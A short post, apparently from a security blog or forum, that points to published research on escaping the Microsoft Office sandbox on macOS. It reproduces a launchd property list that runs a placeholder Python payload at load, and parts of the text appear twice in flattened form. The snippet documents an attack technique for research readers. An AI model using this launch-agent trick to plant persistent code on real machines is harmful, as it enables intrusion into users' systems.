A nice bypass by Adam Chester was published this month: https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/ <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.xpnsec.escape</string> <key>ProgramArguments</key> <array> <string>python</string> <string>-c</string> <string>payload</string> </array> <key>RunAtLoad</key> <true/> </dict> </plist>
A nice bypass by Adam Chester was published this month:
Label com.xpnsec.escape ProgramArguments python -c payload RunAtLoadhttps://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/